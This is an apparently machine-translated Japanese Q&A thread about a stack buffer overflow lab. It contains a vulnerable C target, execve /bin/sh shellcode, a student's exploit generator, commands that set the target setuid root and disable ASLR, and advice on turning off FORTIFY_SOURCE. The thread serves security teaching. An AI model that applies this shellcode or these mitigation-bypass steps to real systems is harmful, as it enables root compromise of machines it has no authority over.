1

行き詰まっているラボの割り当てがあります。基本的に、root 権限を持つシェルを生成するには、バッファ オーバーフローを利用する必要があります。2 つの個別の .c ファイルを使用する必要があります。これが最初のものです:stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];

    //BO Vulnerability
    strcpy(buffer,str);

    return 1;
}

int main(int argc, char* argv[])
{
    char str[517];

    FILE *badfile;
    badfile = fopen("badfile","r");

    fread(str, sizeof(char),517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

これが2番目のものです:exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */
;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

私は2番目のものしか変更できません。ここに私が行った変更があります:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char shellcode[]=
"\x31\xc0"              /* xorl    %eax,%eax              */
"\x50"                  /* pushl   %eax                   */
"\x68""//sh"            /* pushl   $0x68732f2f            */
"\x68""/bin"            /* pushl   $0x6e69622f            */
"\x89\xe3"              /* movl    %esp,%ebx              */
"\x50"                  /* pushl   %eax                   */
"\x53"                  /* pushl   %ebx                   */
"\x89\xe1"              /* movl    %esp,%ecx              */
"\x99"                  /* cdql                           */
"\xb0\x0b"              /* movb    $0x0b,%al              */    
"\xcd\x80"              /* int     $0x80                  */

unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr,ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input

    ptr=buffer;
    a_ptr = (long *) ptr;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

    ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for (i = 0; i < 300;i+=4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486;i < codeSize + 486;++i)
    {
        buffer[i] = shellcode[i-486];
    {
    buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer,517,1,badfile);
    fclose(badfile);    
}

次に、コマンドラインから次を実行しました

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

ただし、実際のデータとシェルを含む「不良ファイル」を生成しますが、シェルには基本的なユーザー権限しかありません。事前に、ルートで次を実行しました。

echo 0 > /proc/sys/kernel/randomize_va_space

ラボによると、代わりにルートで次を実行する必要があります。

sysctl -w kernel.randomize_va_space=0

しかし、そうすると、「スタック」を実行すると、「不正な命令」エラーが発生します。誰かがこれで私を助けることができますか?

4

2 に答える 2

2

私は問題が何であるかを理解しました。zshを/bin/bash/にリンクする必要がありました。私はFedoraを使用している場合にのみそれを行う必要があると思ったので、それをスキップしました。私はUbuntuを使用していました。

于 2013-02-17T23:09:40.580 に答える
0
 strcpy(buffer, str);

テスト中に対処する必要があることの 1 つは、この関数呼び出しです。

memcpyFORTIFY_SOURCE は、 や などのリスクの高い関数の「より安全な」バリアントを使用しstrcpyます。コンパイラは、宛先バッファー サイズを推測できる場合、より安全なバリアントを使用します。コピーがコピー先のバッファ サイズを超える場合、プログラムは を呼び出しますabort()

テストのために FORTIFY_SOURCE を無効にするには、-U_FORTIFY_SOURCEまたはを使用してプログラムをコンパイルする必要があります-D_FORTIFY_SOURCE=0

于 2014-09-12T13:14:43.270 に答える